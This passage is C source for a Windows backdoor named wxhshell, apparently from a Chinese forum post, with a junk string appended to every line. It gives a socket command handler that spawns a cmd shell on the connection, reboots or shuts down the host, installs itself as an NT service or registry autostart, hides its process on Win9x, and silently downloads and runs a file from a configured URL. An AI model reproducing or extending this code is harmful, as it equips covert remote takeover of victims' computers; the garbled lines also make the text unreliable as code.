  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m?DI]sIv#  
  } 3-z; pk  
  else { Q H:k5V~  
F+mn d,3  
    switch(cmd[0]) { w Q /IT}-  
  =e2|:Ba!  
  // 帮助 r>4HF"Nm  
  case '?': { qRkY-0vBP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]n9o=^q/  
    break; 2Fk4jHj  
  } U~8;y'  
  // 安装 \vj<9ke&  
  case 'i': { Y ;$wD9W  
    if(Install()) #9-qF9M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bw _^"e8X  
    else LpwjP4vWJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iV#sMJN9  
    break; {cmY`to  
    } Bx9R!u5D  
  // 卸载 _L }k.  
  case 'r': { 4D+S\S0bk  
    if(Uninstall()) 72uARF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g\_J  
    else O# n<`;W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m)"gj**|y  
    break; h9<*+T  
    } gR7in!8  
  // 显示 wxhshell 所在路径 (QS4<J"  
  case 'p': { .nDB{@#  
    char svExeFile[MAX_PATH]; uG-t)pej  
    strcpy(svExeFile,"\n\r"); S7i,oP7  
      strcat(svExeFile,ExeFile); {}gx;v)  
        send(wsh,svExeFile,strlen(svExeFile),0); X5[.X()M4  
    break; [;6,lI}  
    } 90g=&O5@O  
  // 重启 X#v6v)c  
  case 'b': { vndD#/lXq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); KHnq%#  
    if(Boot(REBOOT)) bhk:Szqz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;t6)(d4z?  
    else { 'Cr2& dy  
    closesocket(wsh); c+dmA(JC  
    ExitThread(0); d WKjVf  
    } fHFy5j0H  
    break; 7-#R[8S  
    } Gl am(V1  
  // 关机 \S5YS2,P  
  case 'd': { py-5 :g}d  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p.%lE! v  
    if(Boot(SHUTDOWN)) \US'tF)/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6h5DvSO  
    else { ][D/=-  
    closesocket(wsh); %"yy8~|  
    ExitThread(0); PxAUsY  
    } cc0e(\  
    break; !tuN_  
    } QmiS/`AAv  
  // 获取shell Aq]*$s2\G  
  case 's': { ]K<mkUpY  
    CmdShell(wsh); (Ts#^qC  
    closesocket(wsh); =6YffXa_s  
    ExitThread(0); .&Ik(792Z&  
    break; ;NoD4*  
  } ABG>W>H-S  
  // 退出 +$CO  
  case 'x': { W{!Slf  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WHkrd8  
    CloseIt(wsh); <&CzM"\Em  
    break; ^`*p;&(K\^  
    } TGuvyY  
  // 离开 `VL<pqPP  
  case 'q': { Y I?4e7Z+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  b^dBX  
    closesocket(wsh); KQu lz  
    WSACleanup(); _mG>^QI.  
    exit(1); }"\jB  
    break; (X|`|Y  
        } r1]DkX <6  
  } HUWCCVn&  
  } R=m9[TgBm  
d@QC[$qXj  
  // 提示信息 wM0P#+bA\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iS#m{1m$$  
} V|T3blG?D  
  } ,/1[(^e  
) mG  
  return; ,0fYB*jk  
} N1l&$#Fr!s  
 Z5[f  
// shell模块句柄 ^BN?iXQhN  
int CmdShell(SOCKET sock) -MTO=#5z  
{ #Py\'  
STARTUPINFO si; R1/87eB  
ZeroMemory(&si,sizeof(si)); \+I+Lrj%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M].D27  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k_A 9gj1  
PROCESS_INFORMATION ProcessInfo; ZNjqH[  
char cmdline[]="cmd"; I/Q5Y-atg  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); RxrUnMF  
  return 0; \-scGemH  
} P%^\<#Ya7  
P;~P:qKd  
// 自身启动模式 1 z5\>F  
int StartFromService(void) 99mo]1_  
{ H>Ws)aCq  
typedef struct TkjPa};R  
{ <Q%:c4N  
  DWORD ExitStatus; U.0bbr  
  DWORD PebBaseAddress; eK_Yt~dj  
  DWORD AffinityMask; =^D{ZZw{  
  DWORD BasePriority; ckg8x&Z  
  ULONG UniqueProcessId; ,`nl";Zc  
  ULONG InheritedFromUniqueProcessId; _0c$SK  
}   PROCESS_BASIC_INFORMATION; sXmo.{Ayb  
8~s-@3J  
PROCNTQSIP NtQueryInformationProcess; %\n&iRwDF  
\y*,N^wu  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; eH y.<VX  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D|BP]j}6  
W;9Jah.  
  HANDLE             hProcess; Q`4]\)Dp  
  PROCESS_BASIC_INFORMATION pbi; h1uD>heGl  
A[.5Bi  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); TPeBb8v 8D  
  if(NULL == hInst ) return 0; Vy:MK9U2  
Y =BXV7\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7h3JH  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); eS{ xma  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Hxm CKW!  
1>1ii  
  if (!NtQueryInformationProcess) return 0; 9v2(cpZ  
NXyuv7%5=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8;r7ksE~  
  if(!hProcess) return 0; uVBMI.&w  
0Q_@2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (KDv>@5  
.$,.w__m ~  
  CloseHandle(hProcess); U2(|/M+  
G$buZspL'd  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9u\&kQxqD  
if(hProcess==NULL) return 0; +J~q:b.  
aF'9&A;q  
HMODULE hMod; H@8g 9;+  
char procName[255]; H#joc0?P  
unsigned long cbNeeded; }Pj3O~z  
XU}sbbwu  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); q;kN+NK64  
gl4|D  
  CloseHandle(hProcess); 0*.> >rI  
Ye8&cZ*.  
if(strstr(procName,"services")) return 1; // 以服务启动  :_qgpE<  
t7%!~s=,M  
  return 0; // 注册表启动 ]bq<vI%  
} h|!F'F{  
|x AwiF_  
// 主模块 f]BG`rJX  
int StartWxhshell(LPSTR lpCmdLine) 4^KoH eM6  
{ FJN,er~T[  
  SOCKET wsl; $UZ4,S?V  
BOOL val=TRUE; m_TZY_;  
  int port=0; *yv@-lP5s  
  struct sockaddr_in door; up~l4]b+  
<N%8"o  
  if(wscfg.ws_autoins) Install(); fWR]L47n  
}[u9vZL  
port=atoi(lpCmdLine); +|OkT  
GRC=G&G  
if(port<=0) port=wscfg.ws_port; >a]4}  
bl>MD8bzLE  
  WSADATA data; X,/@#pSOz  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N b(f  
)>ed6A1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C61KY7iyR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C.{*|#&GAt  
  door.sin_family = AF_INET; |67j__XC  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); XbJ=lH  
  door.sin_port = htons(port); #[*e$C  
C"/]X  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }TRr*] P<%  
closesocket(wsl); 3MC| O5R4  
return 1; #](k,% 2  
} 181-m7W  
0+O)~>v  
  if(listen(wsl,2) == INVALID_SOCKET) { E~zLhJTUL'  
closesocket(wsl); I0O)MR<  
return 1; }0uSm%,"  
} Jug1Va<^c  
  Wxhshell(wsl); o><~.T=d&  
  WSACleanup(); ..7"&-?g{4  
gtz!T2%  
return 0; +I2P{7  
-(>x@];r0  
} %|Vo Zx ^  
=[`wyQe`_  
// 以NT服务方式启动 u *z$I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T}2a~  
{ -nO('(t  
DWORD   status = 0; 7F3Hkvd[k  
  DWORD   specificError = 0xfffffff; ~@z5Ld3xz  
>}<:5gZtA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Bw"L!sZ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~MO'%'@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Lq LciD  
  serviceStatus.dwWin32ExitCode     = 0; {Y'DUt5j  
  serviceStatus.dwServiceSpecificExitCode = 0; ]-)qL[Q  
  serviceStatus.dwCheckPoint       = 0; n=t%,[Op  
  serviceStatus.dwWaitHint       = 0; ms ;RJT2O'  
>Z|4/PF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rN{&$+"2  
  if (hServiceStatusHandle==0) return; "=| yM~V  
1&QI1fvx  
status = GetLastError(); Bi kCjP[b  
  if (status!=NO_ERROR) oLX6w  
{ 3 %dbfT j  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; V85a{OBm,8  
    serviceStatus.dwCheckPoint       = 0; )R ,*  
    serviceStatus.dwWaitHint       = 0; 0,m*W?^31  
    serviceStatus.dwWin32ExitCode     = status; 4_t aCK  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1 EC0wX  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Cj5M  
    return; R,Tw0@{O*  
  } RLulz|jC  
r-Z'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,[Cl'B  
  serviceStatus.dwCheckPoint       = 0; D9H|]W~   
  serviceStatus.dwWaitHint       = 0; a+weBF#Z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); S3qUzK  
} !h&hPY1  
Di-"y,[  
// 处理NT服务事件,比如:启动、停止 Q:-H U bB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z^}T= $&  
{ 92 Pp.Rh  
switch(fdwControl) "[GIW+ui  
{ VWfrcSZg6M  
case SERVICE_CONTROL_STOP: kmov(V  
  serviceStatus.dwWin32ExitCode = 0; m> NRIEA6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \3)%p('  
  serviceStatus.dwCheckPoint   = 0; sSD(mO<(  
  serviceStatus.dwWaitHint     = 0; hH[JY(V  
  { Xx?Jt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >r]# 77d  
  } rKJ%/7m  
  return; &]vd7Q.t  
case SERVICE_CONTROL_PAUSE: *~&W?i  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; gscs B4<  
  break; #v(+3Hp  
case SERVICE_CONTROL_CONTINUE: 2s 6Vy  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )-jvp8%BK  
  break; &|{K*pNa  
case SERVICE_CONTROL_INTERROGATE: uft~+w P  
  break; N(1jm F  
}; j./bVmd.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M $e~Rlw  
} bQ .y,+  
{5%<@<? )  
// 标准应用程序主函数 m,up37-{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jH:*x$@ =  
{ mLq?-&F  
( I,V+v+{Y  
// 获取操作系统版本 YKM(qh2  
OsIsNt=GetOsVer(); ~^5uOeTZ~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^R<= }  
cL1cBWd  
  // 从命令行安装 _t;w n7p  
  if(strpbrk(lpCmdLine,"iI")) Install(); w[|!$J?  
HE( U0<9c  
  // 下载执行文件 R jAeN#,?  
if(wscfg.ws_downexe) { np>*O}r*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5Cz:$-+  
  WinExec(wscfg.ws_filenam,SW_HIDE); /?J_7Lg  
} 3IJIeG>  
`b%/.%]$  
if(!OsIsNt) { !8A5Y[(XD  
// 如果时win9x,隐藏进程并且设置为注册表启动 KM\`,1?x92  
HideProc();  u?'X%'K*  
StartWxhshell(lpCmdLine); z$YOV"N  
} D l"y|  
else L$ ON=$q5  
  if(StartFromService()) U 9 k}y  
  // 以服务方式启动 I'yhxymZ;  
  StartServiceCtrlDispatcher(DispatchTable); 5?I]\Tb  
else z&t6,0q`5  
  // 普通方式启动 9g*~X;`2  
  StartWxhshell(lpCmdLine); om/gk4S2  
(h%wO  
return 0; je{5iIr3/  
}
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只看该作者 1 发表于: 2006-10-10
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